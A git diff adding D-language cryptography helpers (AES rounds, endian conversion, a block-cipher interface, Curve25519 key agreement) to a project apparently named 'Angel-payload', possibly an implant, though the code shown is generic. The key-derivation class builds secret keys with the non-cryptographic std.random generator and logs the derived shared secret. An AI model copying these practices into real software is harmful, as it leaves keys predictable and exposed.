r2 = T0[C2&255] ^ rotateRight(T0[(C3>>8)&255], 24) ^ rotateRight(T0[(C0>>16)&255], 16) ^ rotateRight(T0[(C1>>24)&255], 8) ^ wk[r][2];
|
||||
r3 = T0[C3&255] ^ rotateRight(T0[(C0>>8)&255], 24) ^ rotateRight(T0[(C1>>16)&255], 16) ^ rotateRight(T0[(C2>>24)&255], 8) ^ wk[r++][3];
|
||||
|
||||
// the final round's table is a simple function of S so we don't use a whole other four tables for it
|
||||
|
||||
C0 = (S[r0&255]) ^ ((S[(r1>>8)&255])<<8) ^ ((S[(r2>>16)&255])<<16) ^ (S[(r3>>24)&255]<<24) ^ wk[r][0];
|
||||
C1 = (S[r1&255]) ^ ((S[(r2>>8)&255])<<8) ^ ((S[(r3>>16)&255])<<16) ^ (S[(r0>>24)&255]<<24) ^ wk[r][1];
|
||||
C2 = (S[r2&255]) ^ ((S[(r3>>8)&255])<<8) ^ ((S[(r0>>16)&255])<<16) ^ (S[(r1>>24)&255]<<24) ^ wk[r][2];
|
||||
C3 = (S[r3&255]) ^ ((S[(r0>>8)&255])<<8) ^ ((S[(r1>>16)&255])<<16) ^ (S[(r2>>24)&255]<<24) ^ wk[r][3];
|
||||
|
||||
}
|
||||
|
||||
@safe @nogc
|
||||
private void decryptBlock() nothrow
|
||||
{
|
||||
alias workingKey wk;
|
||||
|
||||
uint r, r0, r1, r2, r3;
|
||||
|
||||
C0 ^= wk[ROUNDS][0];
|
||||
C1 ^= wk[ROUNDS][1];
|
||||
C2 ^= wk[ROUNDS][2];
|
||||
C3 ^= wk[ROUNDS][3];
|
||||
|
||||
r = ROUNDS-1;
|
||||
|
||||
while (r>1)
|
||||
{
|
||||
r0 = Tinv0[C0&255] ^ rotateRight(Tinv0[(C3>>8)&255], 24) ^ rotateRight(Tinv0[(C2>>16)&255], 16) ^ rotateRight(Tinv0[(C1>>24)&255], 8) ^ wk[r][0];
|
||||
r1 = Tinv0[C1&255] ^ rotateRight(Tinv0[(C0>>8)&255], 24) ^ rotateRight(Tinv0[(C3>>16)&255], 16) ^ rotateRight(Tinv0[(C2>>24)&255], 8) ^ wk[r][1];
|
||||
r2 = Tinv0[C2&255] ^ rotateRight(Tinv0[(C1>>8)&255], 24) ^ rotateRight(Tinv0[(C0>>16)&255], 16) ^ rotateRight(Tinv0[(C3>>24)&255], 8) ^ wk[r][2];
|
||||
r3 = Tinv0[C3&255] ^ rotateRight(Tinv0[(C2>>8)&255], 24) ^ rotateRight(Tinv0[(C1>>16)&255], 16) ^ rotateRight(Tinv0[(C0>>24)&255], 8) ^ wk[r--][3];
|
||||
C0 = Tinv0[r0&255] ^ rotateRight(Tinv0[(r3>>8)&255], 24) ^ rotateRight(Tinv0[(r2>>16)&255], 16) ^ rotateRight(Tinv0[(r1>>24)&255], 8) ^ wk[r][0];
|
||||
C1 = Tinv0[r1&255] ^ rotateRight(Tinv0[(r0>>8)&255], 24) ^ rotateRight(Tinv0[(r3>>16)&255], 16) ^ rotateRight(Tinv0[(r2>>24)&255], 8) ^ wk[r][1];
|
||||
C2 = Tinv0[r2&255] ^ rotateRight(Tinv0[(r1>>8)&255], 24) ^ rotateRight(Tinv0[(r0>>16)&255], 16) ^ rotateRight(Tinv0[(r3>>24)&255], 8) ^ wk[r][2];
|
||||
C3 = Tinv0[r3&255] ^ rotateRight(Tinv0[(r2>>8)&255], 24) ^ rotateRight(Tinv0[(r1>>16)&255], 16) ^ rotateRight(Tinv0[(r0>>24)&255], 8) ^ wk[r--][3];
|
||||
}
|
||||
|
||||
r0 = Tinv0[C0&255] ^ rotateRight(Tinv0[(C3>>8)&255], 24) ^ rotateRight(Tinv0[(C2>>16)&255], 16) ^ rotateRight(Tinv0[(C1>>24)&255], 8) ^ wk[r][0];
|
||||
r1 = Tinv0[C1&255] ^ rotateRight(Tinv0[(C0>>8)&255], 24) ^ rotateRight(Tinv0[(C3>>16)&255], 16) ^ rotateRight(Tinv0[(C2>>24)&255], 8) ^ wk[r][1];
|
||||
r2 = Tinv0[C2&255] ^ rotateRight(Tinv0[(C1>>8)&255], 24) ^ rotateRight(Tinv0[(C0>>16)&255], 16) ^ rotateRight(Tinv0[(C3>>24)&255], 8) ^ wk[r][2];
|
||||
r3 = Tinv0[C3&255] ^ rotateRight(Tinv0[(C2>>8)&255], 24) ^ rotateRight(Tinv0[(C1>>16)&255], 16) ^ rotateRight(Tinv0[(C0>>24)&255], 8) ^ wk[r][3];
|
||||
|
||||
// the final round's table is a simple function of Si so we don't use a whole other four tables for it
|
||||
|
||||
C0 = (Si[r0&255]) ^ ((Si[(r3>>8)&255])<<8) ^ ((Si[(r2>>16)&255])<<16) ^ (Si[(r1>>24)&255]<<24) ^ wk[0][0];
|
||||
C1 = (Si[r1&255]) ^ ((Si[(r0>>8)&255])<<8) ^ ((Si[(r3>>16)&255])<<16) ^ (Si[(r2>>24)&255]<<24) ^ wk[0][1];
|
||||
C2 = (Si[r2&255]) ^ ((Si[(r1>>8)&255])<<8) ^ ((Si[(r0>>16)&255])<<16) ^ (Si[(r3>>24)&255]<<24) ^ wk[0][2];
|
||||
C3 = (Si[r3&255]) ^ ((Si[(r2>>8)&255])<<8) ^ ((Si[(r1>>16)&255])<<16) ^ (Si[(r0>>24)&255]<<24) ^ wk[0][3];
|
||||
}
|
||||
}
|
||||
416
full/Angel-payload/angel/utils/cryptography/bitmanip.d
Normal file
416
full/Angel-payload/angel/utils/cryptography/bitmanip.d
Normal file
@@ -0,0 +1,416 @@
|
||||
module angel.utils.cryptography.bitmanip;
|
||||
|
||||
import std.traits;
|
||||
///
|
||||
/// This module contains several methods to convert integer types into byte arrays
|
||||
/// and vice versa.
|
||||
///
|
||||
///
|
||||
|
||||
alias rotateLeft rol;
|
||||
alias rotateRight ror;
|
||||
|
||||
/// rot shift to the left
|
||||
/// Params:
|
||||
/// x = integer to shift
|
||||
/// shiftAmount = number of bits to shift
|
||||
@safe
|
||||
@nogc
|
||||
T rotateLeft(T)(T x, uint shiftAmount) pure nothrow
|
||||
{
|
||||
enum nbits = T.sizeof*8;
|
||||
//shiftAmount %= nbits;
|
||||
return cast(T)(x << shiftAmount) | (x >>> (nbits-shiftAmount));
|
||||
}
|
||||
|
||||
/// test rotateLeft
|
||||
unittest {
|
||||
ubyte b0 = 0b10000001;
|
||||
ubyte b1 = 0b00000011;
|
||||
ubyte b2 = 0b00000110;
|
||||
ubyte b7 = 0b11000000;
|
||||
|
||||
assert(rotateLeft(b0,0) == b0);
|
||||
assert(rotateLeft(b0,1) == b1);
|
||||
assert(rotateLeft(b0,2) == b2);
|
||||
assert(rotateLeft(b0,7) == b7);
|
||||
assert(rotateLeft(b0,8) == b0);
|
||||
}
|
||||
|
||||
/// rot shift to the right
|
||||
/// Params:
|
||||
/// x = integer to shift
|
||||
/// shiftAmount = number of bits to shift
|
||||
@safe
|
||||
@nogc
|
||||
T rotateRight(T)(T x, uint shiftAmount) pure nothrow
|
||||
{
|
||||
enum nbits = T.sizeof*8;
|
||||
//shiftAmount %= nbits;
|
||||
return cast(T)((x >>> shiftAmount) | (x << (nbits-shiftAmount)));
|
||||
}
|
||||
|
||||
/// test rotateRight
|
||||
unittest {
|
||||
ubyte b0 = 0b00000101;
|
||||
ubyte b1 = 0b10000010;
|
||||
ubyte b2 = 0b01000001;
|
||||
ubyte b7 = 0b00001010;
|
||||
|
||||
assert(rotateRight(b0,0) == b0);
|
||||
assert(rotateRight(b0,1) == b1);
|
||||
assert(rotateRight(b0,2) == b2);
|
||||
assert(rotateRight(b0,7) == b7);
|
||||
assert(rotateRight(b0,8) == b0);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
Converts big endian bytes to integral of type T
|
||||
Params: bs = the big endian bytes
|
||||
Returns: integral of type T
|
||||
*/
|
||||
@safe @nogc
|
||||
T fromBigEndian(T)(in ubyte[] bs) if (isIntegral!T)
|
||||
in {
|
||||
assert(bs.length >= T.sizeof, "input buffer too short");
|
||||
}
|
||||
body {
|
||||
version(BigEndian) {
|
||||
// data is already in memory as we want
|
||||
return (cast(const T[])bs)[0];
|
||||
}else {
|
||||
Unqual!T n = 0;
|
||||
static if (T.sizeof >= short.sizeof) {
|
||||
n |= bs[0];
|
||||
n <<= 8;
|
||||
n |= bs[1];
|
||||
}
|
||||
static if (T.sizeof >= int.sizeof) {
|
||||
n <<= 8;
|
||||
n |= bs[2];
|
||||
n <<= 8;
|
||||
n |= bs[3];
|
||||
}
|
||||
static if (T.sizeof == long.sizeof) {
|
||||
n <<= 8;
|
||||
n |= bs[4];
|
||||
n <<= 8;
|
||||
n |= bs[5];
|
||||
n <<= 8;
|
||||
n |= bs[6];
|
||||
n <<= 8;
|
||||
n |= bs[7];
|
||||
}
|
||||
|
||||
return n;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
Converts little endian bytes to integral of type T
|
||||
Params: bs = the little endian bytes
|
||||
Returns: integral of type T
|
||||
*/
|
||||
@safe @nogc
|
||||
T fromLittleEndian(T)(in ubyte[] bs) if (isIntegral!T)
|
||||
in {
|
||||
assert(bs.length >= T.sizeof, "input buffer too short");
|
||||
}
|
||||
body {
|
||||
version(LittleEndian) {
|
||||
// data is already in memory as we want
|
||||
return (cast(const T[])bs)[0];
|
||||
}else {
|
||||
Unqual!T n = 0;
|
||||
static if (T.sizeof >= short.sizeof) {
|
||||
n |= bs[0];
|
||||
n |= cast(T)bs[1] << 8;
|
||||
}
|
||||
static if (T.sizeof >= int.sizeof) {
|
||||
n |= cast(T)bs[2] << 16;
|
||||
n |= cast(T)bs[3] << 24;
|
||||
}
|
||||
static if (T.sizeof == long.sizeof) {
|
||||
n |= cast(T)bs[4] << 32;
|
||||
n |= cast(T)bs[5] << 40;
|
||||
n |= cast(T)bs[6] << 48;
|
||||
n |= cast(T)bs[7] << 56;
|
||||
}
|
||||
|
||||
return n;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
Converts big endian bytes to integrals of type T
|
||||
size of bs has to match the size in bytes of output
|
||||
Params:
|
||||
bs = the big endian bytes
|
||||
output = where the T's get written to
|
||||
*/
|
||||
@safe @nogc
|
||||
void fromBigEndian(T)(in ubyte[] bs, T[] output) if (isIntegral!T)
|
||||
in {
|
||||
assert(bs.length == output.length * T.sizeof, "size of input array does not match size of output array");
|
||||
}
|
||||
body {
|
||||
version(BigEndian) {
|
||||
// short cut on big endian systems
|
||||
const T[] casted = cast(const T[]) bs;
|
||||
output[] = casted[];
|
||||
} else {
|
||||
// for little endian systems
|
||||
enum s = T.sizeof;
|
||||
foreach (i; 0 .. output.length)
|
||||
{
|
||||
output[i] = fromBigEndian!T(bs[s*i .. s*i+s]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
Converts little endian bytes to integrals of type T
|
||||
size of bs has to match the size in bytes of output
|
||||
Params:
|
||||
bs = the little endian bytes
|
||||
output = where the T's get written to
|
||||
*/
|
||||
@safe @nogc
|
||||
void fromLittleEndian(T)(in ubyte[] bs, T[] output) if (isIntegral!T)
|
||||
in {
|
||||
assert(bs.length == output.length * T.sizeof, "size of input array does not match size of output array");
|
||||
}
|
||||
body {
|
||||
version(LittleEndian) {
|
||||
// short cut on little endian systems
|
||||
const T[] casted = cast(const T[]) bs;
|
||||
output[] = casted[];
|
||||
} else {
|
||||
// for big endian systems
|
||||
enum s = T.sizeof;
|
||||
foreach (i; 0 .. output.length)
|
||||
{
|
||||
output[i] = fromLittleEndian!T(bs[s*i .. s*i+s]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
convert a integral type T into an array of bytes.
|
||||
Params:
|
||||
n = the number
|
||||
output = the buffer to write the bytes to
|
||||
*/
|
||||
@safe @nogc
|
||||
void toBigEndian(T)(in T val, ubyte[] output) if(isIntegral!T)
|
||||
in {
|
||||
assert(output.length >= T.sizeof, "output buffer too small");
|
||||
}
|
||||
body {
|
||||
Unqual!T n = val;
|
||||
uint off = 0;
|
||||
|
||||
static if(T.sizeof == long.sizeof) {
|
||||
output[off] = cast (ubyte) (n >>> 56);
|
||||
++off;
|
||||
output[off] = cast (ubyte) (n >>> 48);
|
||||
++off;
|
||||
output[off] = cast (ubyte) (n >>> 40);
|
||||
++off;
|
||||
output[off] = cast (ubyte) (n >>> 32);
|
||||
++off;
|
||||
}
|
||||
static if(T.sizeof >= int.sizeof) {
|
||||
output[off] = cast (ubyte) (n >>> 24);
|
||||
++off;
|
||||
output[off] = cast (ubyte) (n >>> 16);
|
||||
++off;
|
||||
}
|
||||
static if(T.sizeof >= short.sizeof) {
|
||||
output[off] = cast (ubyte) (n >>> 8);
|
||||
++off;
|
||||
}
|
||||
output[off] = cast (ubyte) (n);
|
||||
}
|
||||
|
||||
/**
|
||||
convert a integral type T into an array of bytes.
|
||||
Params:
|
||||
n = the number
|
||||
output = the buffer to write the bytes to
|
||||
*/
|
||||
@safe @nogc
|
||||
void toLittleEndian(T)(in T val, ubyte[] output) if(isIntegral!T)
|
||||
in {
|
||||
assert(output.length >= T.sizeof, "output buffer too small");
|
||||
}
|
||||
body {
|
||||
Unqual!T n = val;
|
||||
output[0] = cast (ubyte) (n);
|
||||
n >>>= 8;
|
||||
static if(T.sizeof >= short.sizeof) {
|
||||
output[1] = cast (ubyte) (n);
|
||||
n >>>= 8;
|
||||
}
|
||||
static if(T.sizeof >= int.sizeof) {
|
||||
output[2] = cast (ubyte) (n);
|
||||
n >>>= 8;
|
||||
output[3] = cast (ubyte) (n);
|
||||
n >>>= 8;
|
||||
}
|
||||
static if(T.sizeof == long.sizeof) {
|
||||
output[4] = cast (ubyte) (n);
|
||||
n >>>= 8;
|
||||
output[5] = cast (ubyte) (n);
|
||||
n >>>= 8;
|
||||
output[6] = cast (ubyte) (n);
|
||||
n >>>= 8;
|
||||
output[7] = cast (ubyte) (n);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
convert a integral type T[] into an array of bytes.
|
||||
Params:
|
||||
ns = the numbers
|
||||
output = the buffer to write the bytes to
|
||||
*/
|
||||
@safe @nogc
|
||||
void toBigEndian(T)(in T[] ns, ubyte[] output) if(isIntegral!T)
|
||||
in {
|
||||
assert(output.length >= T.sizeof*ns.length, "output buffer too small");
|
||||
}
|
||||
body {
|
||||
version(BigEndian) {
|
||||
// shortcut on BigEndian systems
|
||||
const ubyte[] casted = cast(const ubyte []) ns;
|
||||
output[] = casted[];
|
||||
}else{
|
||||
foreach(i, const T n; ns) {
|
||||
toBigEndian!T(n, output[T.sizeof * i .. $]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
convert a integral type T[] into an array of bytes.
|
||||
Params:
|
||||
ns the numbers
|
||||
output the buffer to write the bytes to
|
||||
*/
|
||||
@safe @nogc
|
||||
void toLittleEndian(T)(in T[] ns, ubyte[] output) if(isIntegral!T)
|
||||
in {
|
||||
assert(output.length >= T.sizeof*ns.length, "output buffer too small");
|
||||
}
|
||||
body {
|
||||
version(LittleEndian) {
|
||||
// shortcut on LittleEndian systems
|
||||
const ubyte[] casted = cast(const ubyte []) ns;
|
||||
output[] = casted[];
|
||||
}else{
|
||||
foreach(i, const T n; ns) {
|
||||
toLittleEndian!T(n, output[T.sizeof * i .. $]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ubyte[T.sizeof] toBigEndian(T)(in T n) pure nothrow @nogc
|
||||
if(isIntegral!T)
|
||||
{
|
||||
ubyte[T.sizeof] bs;
|
||||
toBigEndian!T(n, bs);
|
||||
return bs;
|
||||
}
|
||||
|
||||
ubyte[] toBigEndian(T)(in T[] ns) if(isIntegral!T)
|
||||
{
|
||||
ubyte[] bs = new ubyte[T.sizeof * ns.length];
|
||||
toBigEndian!T(ns, bs);
|
||||
return bs;
|
||||
}
|
||||
|
||||
|
||||
ubyte[T.sizeof] toLittleEndian(T)(in T n) pure nothrow @nogc
|
||||
if(isIntegral!T)
|
||||
{
|
||||
ubyte[T.sizeof] bs;
|
||||
toLittleEndian!T(n, bs);
|
||||
return bs;
|
||||
}
|
||||
|
||||
|
||||
ubyte[] toLittleEndian(T)(in T[] ns) if(isIntegral!T)
|
||||
{
|
||||
ubyte[] bs = new ubyte[T.sizeof * ns.length];
|
||||
toLittleEndian!T(ns, bs);
|
||||
return bs;
|
||||
}
|
||||
|
||||
unittest {
|
||||
|
||||
// int
|
||||
assert(toBigEndian(0x01020304) == [0x01,0x02,0x03,0x04], "intToBigEndian failed");
|
||||
assert(toLittleEndian(0x01020304) == [0x04,0x03,0x02,0x01], "intToLittleEndian failed");
|
||||
|
||||
|
||||
// long
|
||||
assert(toBigEndian(0x0102030405060708L) == [0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08], "longToBigEndian failed");
|
||||
assert(toLittleEndian(0x0807060504030201L) == [0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08], "longToLittleEndian failed");
|
||||
|
||||
// bigEndian to short, int, long
|
||||
assert(fromBigEndian!ushort([0x01,0x02]) == 0x0102u);
|
||||
assert(fromBigEndian!uint([0x01,0x02,0x03,0x04]) == 0x01020304u);
|
||||
assert(fromBigEndian!ulong([0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08]) == 0x0102030405060708UL);
|
||||
|
||||
// littleEndian to short, int, long
|
||||
assert(fromLittleEndian!ushort([0x02,0x01]) == 0x0102u);
|
||||
assert(fromLittleEndian!uint([0x04,0x03,0x02,0x01]) == 0x01020304u);
|
||||
assert(fromLittleEndian!ulong([0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08]) == 0x0807060504030201UL);
|
||||
|
||||
// bigEndian: convert multiple ints
|
||||
uint[] output = new uint[2];
|
||||
immutable ubyte[] input = [0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08];
|
||||
fromBigEndian(input, output);
|
||||
assert(output == [0x01020304u, 0x05060708u], "fromBigEndian(ubyte[] input, int[] output) failed");
|
||||
|
||||
// littleEndian: convert multiple ints
|
||||
output = new uint[2];
|
||||
fromLittleEndian(input, output);
|
||||
assert(output == [0x04030201u, 0x08070605u], "fromLittleEndian(ubyte[] input, int[] output) failed");
|
||||
|
||||
|
||||
immutable int i = 0xf1f2f3f4;
|
||||
int iResult;
|
||||
ubyte[] buf;
|
||||
|
||||
// int to bigEndian
|
||||
buf = new ubyte[4];
|
||||
toBigEndian!int(i, buf);
|
||||
iResult = fromBigEndian!int(buf);
|
||||
assert(i == iResult);
|
||||
|
||||
// int to littleEndian
|
||||
buf = new ubyte[4];
|
||||
toLittleEndian!int(i, buf);
|
||||
iResult = fromLittleEndian!int(buf);
|
||||
assert(i == iResult);
|
||||
|
||||
|
||||
|
||||
immutable long l = 0xf1f2f3f4f5f6f7f8;
|
||||
long lResult;
|
||||
|
||||
// long to bigEndian
|
||||
buf = new ubyte[8];
|
||||
toBigEndian!long(l, buf);
|
||||
lResult = fromBigEndian!long(buf);
|
||||
assert(l == lResult);
|
||||
|
||||
// int to littleEndian
|
||||
buf = new ubyte[8];
|
||||
toLittleEndian!long(l, buf);
|
||||
lResult = fromLittleEndian!long(buf);
|
||||
assert(l == lResult);
|
||||
}
|
||||
191
full/Angel-payload/angel/utils/cryptography/blockcipher.d
Normal file
191
full/Angel-payload/angel/utils/cryptography/blockcipher.d
Normal file
@@ -0,0 +1,191 @@
|
||||
module angel.utils.cryptography.blockcipher;
|
||||
|
||||
/// Use this to check if type is a block cipher.
|
||||
@safe
|
||||
template isBlockCipher(T)
|
||||
{
|
||||
enum bool isBlockCipher =
|
||||
is(T == struct) &&
|
||||
is(typeof(
|
||||
{
|
||||
ubyte[0] block;
|
||||
T bc = T.init; // Can define
|
||||
string name = T.name;
|
||||
uint blockSize = T.blockSize;
|
||||
bc.start(cast(const ubyte[]) block, cast(const ubyte[]) block); // init with secret key and iv
|
||||
uint len = bc.encrypt(cast (const ubyte[]) block, block);
|
||||
bc.reset();
|
||||
}));
|
||||
}
|
||||
|
||||
/// OOP API for block ciphers
|
||||
@safe
|
||||
public interface IBlockCipher {
|
||||
|
||||
|
||||
@safe public:
|
||||
|
||||
/**
|
||||
* Initialize the cipher.
|
||||
*
|
||||
* Params:
|
||||
* forEncryption = if true the cipher is initialised for
|
||||
* encryption, if false for decryption.
|
||||
* userKey = A secret key.
|
||||
* iv = A nonce.
|
||||
*/
|
||||
void start(in ubyte[] userKey, in ubyte[] iv = null) nothrow @nogc;
|
||||
|
||||
/**
|
||||
* Return the name of the algorithm the cipher implements.
|
||||
*
|
||||
* Returns: the name of the algorithm the cipher implements.
|
||||
*/
|
||||
@property
|
||||
string name() pure nothrow;
|
||||
|
||||
/**
|
||||
* Return the block size for this cipher (in bytes).
|
||||
*
|
||||
* Returns: the block size for this cipher in bytes.
|
||||
*/
|
||||
@property
|
||||
uint blockSize() pure nothrow @nogc;
|
||||
|
||||
/**
|
||||
* Process one block of input from the array in and write it to
|
||||
* the out array.
|
||||
*
|
||||
* Params:
|
||||
* input = the slice containing the input data.
|
||||
* output = the slice the output data will be copied into.
|
||||
* Throws: IllegalStateException if the cipher isn't initialised.
|
||||
* Returns: the number of bytes processed and produced.
|
||||
*/
|
||||
@nogc
|
||||
uint encrypt(in ubyte[] input, ubyte[] output) nothrow;
|
||||
|
||||
@nogc
|
||||
uint decrypt(in ubyte[] input, ubyte[] output) nothrow;
|
||||
|
||||
/**
|
||||
* Reset the cipher. After resetting the cipher is in the same state
|
||||
* as it was after the last init (if there was one).
|
||||
*/
|
||||
@nogc
|
||||
void reset() nothrow;
|
||||
}
|
||||
|
||||
/// Wraps block ciphers into the OOP API
|
||||
@safe
|
||||
public class BlockCipherWrapper(T) if(isBlockCipher!T): IBlockCipher {
|
||||
|
||||
private T cipher;
|
||||
|
||||
@safe public:
|
||||
|
||||
/**
|
||||
* Initialize the cipher.
|
||||
*
|
||||
* Params:
|
||||
* forEncryption = if true the cipher is initialised for
|
||||
* encryption, if false for decryption.
|
||||
* params = the key and other data required by the cipher.
|
||||
*
|
||||
* Throws: IllegalArgumentException if the params argument is
|
||||
* inappropriate.
|
||||
*/
|
||||
void start(in ubyte[] key, in ubyte[] iv = null) nothrow {
|
||||
cipher.start(key, iv);
|
||||
}
|
||||
|
||||
/**
|
||||
* Return the name of the algorithm the cipher implements.
|
||||
*
|
||||
* Returns: the name of the algorithm the cipher implements.
|
||||
*/
|
||||
@property
|
||||
string name() pure nothrow {
|
||||
return cipher.name;
|
||||
}
|
||||
|
||||
/**
|
||||
* Return the block size for this cipher (in bytes).
|
||||
*
|
||||
* Returns: the block size for this cipher in bytes.
|
||||
*/
|
||||
@property
|
||||
uint blockSize() pure nothrow @nogc {
|
||||
return T.blockSize;
|
||||
}
|
||||
|
||||
/**
|
||||
* Process one block of input from the array in and write it to
|
||||
* the out array.
|
||||
*
|
||||
* Params:
|
||||
* input = the slice containing the input data.
|
||||
* output = the slice the output data will be copied into.
|
||||
* Throws: IllegalStateException if the cipher isn't initialised.
|
||||
* Returns: the number of bytes processed and produced.
|
||||
*/
|
||||
uint encrypt(in ubyte[] input, ubyte[] output) nothrow @nogc {
|
||||
return cipher.encrypt(input, output);
|
||||
}
|
||||
|
||||
uint decrypt(in ubyte[] input, ubyte[] output) nothrow @nogc {
|
||||
return cipher.decrypt(input, output);
|
||||
}
|
||||
|
||||
/**
|
||||
* Reset the cipher. After resetting the cipher is in the same state
|
||||
* as it was after the last init (if there was one).
|
||||
*/
|
||||
void reset() nothrow @nogc {
|
||||
cipher.reset();
|
||||
}
|
||||
}
|
||||
|
||||
version(unittest) {
|
||||
|
||||
// unittest helper functions
|
||||
|
||||
import std.format: format;
|
||||
|
||||
/// Runs decryption and encryption using BlockCipher bc with given keys, plaintexts, and ciphertexts
|
||||
///
|
||||
/// Params:
|
||||
/// keys = The encryption/decryption keys.
|
||||
/// plaintexts = Plaintexts.
|
||||
/// cipherTexts = Corresponding ciphertexts.
|
||||
/// ivs = Initialization vectors.
|
||||
///
|
||||
@safe
|
||||
public void blockCipherTest(IBlockCipher bc, string[] keys, string[] plaintexts, string[] cipherTexts, string[] ivs = null) {
|
||||
|
||||
foreach (uint i, string test_key; keys)
|
||||
{
|
||||
ubyte[] buffer = new ubyte[bc.blockSize];
|
||||
|
||||
|
||||
const ubyte[] key = cast(const ubyte[]) test_key;
|
||||
const (ubyte)[] iv = null;
|
||||
if(ivs !is null) {
|
||||
iv = cast(const (ubyte)[]) ivs[i];
|
||||
}
|
||||
|
||||
// Encryption
|
||||
bc.start(key, iv);
|
||||
bc.encrypt(cast(const ubyte[]) plaintexts[i], buffer);
|
||||
|
||||
assert(buffer == cipherTexts[i],
|
||||
format("%s failed to encrypt.", bc.name));
|
||||
|
||||
// Decryption
|
||||
bc.start(key, iv);
|
||||
bc.decrypt(cast(const ubyte[]) cipherTexts[i], buffer);
|
||||
assert(buffer == plaintexts[i],
|
||||
format("%s failed to decrypt.", bc.name));
|
||||
}
|
||||
}
|
||||
}
|
||||
33
full/Angel-payload/angel/utils/cryptography/cryptography.d
Normal file
33
full/Angel-payload/angel/utils/cryptography/cryptography.d
Normal file
@@ -0,0 +1,33 @@
|
||||
module angel.utils.cryptography.cryptography;
|
||||
|
||||
// Internal imports
|
||||
import angel.utils.logging;
|
||||
import angel.utils.cryptography.curve25519;
|
||||
// External imports
|
||||
import std.stdio;
|
||||
import std.random;
|
||||
import std.format;
|
||||
|
||||
class Cryptography {
|
||||
public {
|
||||
struct KeyPair {
|
||||
ubyte[32] clientSecretKey;
|
||||
ubyte[32] sharedSecret;
|
||||
}
|
||||
}
|
||||
|
||||
public static KeyPair derive_25519(ubyte[] pk) {
|
||||
ubyte[32] sk; // generate client secret key
|
||||
for (int i = 0; i < 32; ++i) {
|
||||
sk[i] = cast(ubyte)(uniform(0, 256));
|
||||
}
|
||||
|
||||
Logger.log(LogLevel.Debug, "Generated client sk");
|
||||
|
||||
ubyte[32] ss = curve25519_scalarmult(sk, pk); // derive shared secret out of pk and sk
|
||||
|
||||
Logger.log(LogLevel.Debug, format("Derived shared secret: %s", ss));
|
||||
|
||||
return KeyPair(sk, ss);
|
||||
}
|
||||
}
|
||||
136
full/Angel-payload/angel/utils/cryptography/curve25519.d
Normal file
136
full/Angel-payload/angel/utils/cryptography/curve25519.d
Normal file
@@ -0,0 +1,136 @@
|
||||
module angel.utils.cryptography.curve25519;
|
||||
|
||||
import angel.utils.cryptography.fieldelem;
|
||||
import angel.utils.cryptography.utils;
|
||||
|
||||
public enum ubyte[32] publicBasePoint = cast(immutable (ubyte[32]) ) x"0900000000000000000000000000000000000000000000000000000000000000";
|
||||
|
||||
@safe nothrow @nogc:
|
||||
|
||||
///
|
||||
///
|
||||
/// Params:
|
||||
/// secret = Your secret key, the 'exponent'.
|
||||
/// p = Receivers public key. Default base point = 9.
|
||||
///
|
||||
/// Returns: p^secret.
|
||||
///
|
||||
/// Examples:
|
||||
///
|
||||
/// ubyte[32] publicKey = curve25519_scalarmult(secretKey);
|
||||
///
|
||||
/// ubyte[32] sharedKey = curve25519_scalarmult(mySecretKey, herPublicKey);
|
||||
///
|
||||
ubyte[32] curve25519_scalarmult(
|
||||
in ubyte[] secret,
|
||||
in ubyte[] p = cast(const ubyte[32]) publicBasePoint) @safe nothrow @nogc
|
||||
in {
|
||||
assert(secret.length == 32, "Secret key must be 32 bytes long.");
|
||||
assert(p.length == 32, "Public key must be 32 bytes long.");
|
||||
} body {
|
||||
ubyte[32] sec = secret;
|
||||
scope(exit) {
|
||||
wipe(sec);
|
||||
}
|
||||
|
||||
ubyte[32] pub = p;
|
||||
|
||||
return curve25519_scalarmult(sec, pub);
|
||||
}
|
||||
|
||||
///
|
||||
///
|
||||
/// Params:
|
||||
/// secret = Your secret key, the 'exponent'.
|
||||
/// p = Receivers public key. Default base point = 9.
|
||||
///
|
||||
/// Returns: p^secret.
|
||||
///
|
||||
/// Examples:
|
||||
///
|
||||
/// ubyte[32] publicKey = curve25519_scalarmult(secretKey);
|
||||
///
|
||||
/// ubyte[32] sharedKey = curve25519_scalarmult(mySecretKey, herPublicKey);
|
||||
///
|
||||
ubyte[32] curve25519_scalarmult(in ref ubyte[32] secret, in ref ubyte[32] p = publicBasePoint) @safe nothrow @nogc
|
||||
{
|
||||
ubyte[32] e = secret;
|
||||
scope(exit) {
|
||||
wipe(e);
|
||||
}
|
||||
clamp(e);
|
||||
|
||||
fe x1, x2, x3, z2, z3, tmp0, tmp1;
|
||||
scope(exit) {
|
||||
wipe(x1);
|
||||
wipe(x2);
|
||||
wipe(x3);
|
||||
wipe(z2);
|
||||
wipe(z3);
|
||||
wipe(tmp0);
|
||||
wipe(tmp1);
|
||||
}
|
||||
|
||||
x1 = fe.fromBytes(p);
|
||||
x2 = fe.one;
|
||||
z2 = fe.zero;
|
||||
x3 = x1;
|
||||
z3 = fe.one;
|
||||
|
||||
uint swap = 0, b;
|
||||
for (int pos = 254; pos >= 0;--pos) {
|
||||
b = e[pos / 8] >> (pos & 7);
|
||||
b &= 1;
|
||||
swap ^= b;
|
||||
fe_cswap(x2,x3,swap);
|
||||
fe_cswap(z2,z3,swap);
|
||||
swap = b;
|
||||
|
||||
tmp0 = x3 - z3;
|
||||
|
||||
tmp1 = x2 - z2;
|
||||
x2 += z2;
|
||||
z2 = x3 + z3;
|
||||
|
||||
z3 = tmp0 * x2;
|
||||
|
||||
z2 *= tmp1;
|
||||
tmp0 = tmp1.sq;
|
||||
tmp1 = x2.sq;
|
||||
x3 = z2 + z3;
|
||||
|
||||
z2 = z3 - z2;
|
||||
x2 = tmp0 * tmp1;
|
||||
|
||||
tmp1 -= tmp0;
|
||||
|
||||
z2 = z2.sq;
|
||||
|
||||
z3 = fe_mul121666(tmp1);
|
||||
|
||||
x3 = x3.sq;
|
||||
|
